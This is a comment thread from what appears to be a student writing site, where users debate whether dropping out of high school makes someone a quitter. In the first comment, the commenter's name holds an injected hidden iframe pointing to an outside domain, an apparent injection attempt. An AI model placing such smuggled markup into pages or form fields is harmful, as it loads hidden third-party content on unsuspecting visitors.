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Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe> said...
on Jan. 11 2018 at 10:59 pm
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this so much!
monkey22 said...
on Nov. 19 2013 at 5:59 pm
you seem very smart and i agree with you. im in all honors classes and i think i would take education over working at mickey ds even tho i love fries
als116 said...
on Oct. 19 2011 at 11:13 am
i also disagree... i am a 16 year old full time college student, and loving it. thanx to reciving my ged.. and its not like it says ged or anything? i have my diploma like everyone els who graduats "properly".. its the same exact thing. all i did was take two extra steps forward. no body considers me a quiter, infact to most i am considerd an over achever.. :p but i really dont care what other ppl think of me. i think you should think 2ce about judjing all highschool drop outs.
als116 said...
on Oct. 19 2011 at 11:10 am
i also disagree... i am a 16 year old full time college student, and loving it. thanx to reciving my ged.. and its not like it says ged or anything? i have my diploma like everyone els who graduats "properly".. its the same exact thing. all i did was take two extra steps forward. no body considers me a quiter, infact to most i am considerd an over achever.. :p but i really dont care what other ppl think of me. i think you should think 2ce about judjing all highschool drop outs.
LizSymone said...
on Feb. 24 2011 at 12:24 pm
well yu work at burger king for all your life and watch your not going to be sussecfull nor make a great example for your children
Crystal J. said...
on Feb. 7 2011 at 8:36 am
im all for dropping out.. you have more of a life.. i did it and im perfectaly fine i have two kids.. the dad is gone nd i am still happy... this is the greatest decision i ever made i work at burger king and i make mim wage.. i barely get hours cause of all the high school employees coming in. but hey they need the money to pay for school fees, but back to me.. im LIVING THE LIFE.. DROP OUT= perfect LiFEstyleeeee
binki143 said...
on Nov. 30 2010 at 10:05 am
droping out is a bad  thing to do but it does not mean u cant strive for the best it does not mean u r a quiter  it just means u have to step  up ur game
denautica said...
on Sep. 30 2010 at 9:55 am
Dropping outis for lames i wanna be in school
{TOPNOTCH CHIKK} said...
on Sep. 30 2010 at 9:51 am
I AGREE WITH THAT HIGH SCHOOL STUDENTS SHOULD NOT DROPOUT OF SCHOOL BECAUSE IF YOU PLANNING TO GO TO COLLEGE YOUR NOT GONNA BE ABLE TO BECAUSE YOU MADE THE WRONG CHOOSE AND DROPOUT OF SCHOOL WHEN YOU HAD A CHANCE TO GET A GREAT EDUCATION TO GET READY FOR COLLEGE AND I FEEL YOU DENAUTICA 123
denautica123 said...
on Sep. 30 2010 at 9:44 am
i also agree because once u drop out and then u get older u wanna go back u want get that full experince. 
senior_0f_11 said...
on Aug. 31 2010 at 8:44 am

i would have to say that i disagree with that.  just because you drop out of high school does not mean that you are "a quitter" there are a plethora of reasons for people dropping out.  yes, just being lazy is one of them, but i think that people would be suprised to know that laziness is probably not the number one reason. 

i do a agree that it is not the best decision, but i dont think i could say it qualifies you as a quitter.

areword said...
on Feb. 17 2010 at 9:49 am
Droping out of highschool isnt a smart decision even if your going to get your ged. Getting your ged only shows your employers that you are a quitter and like taking the easy way out.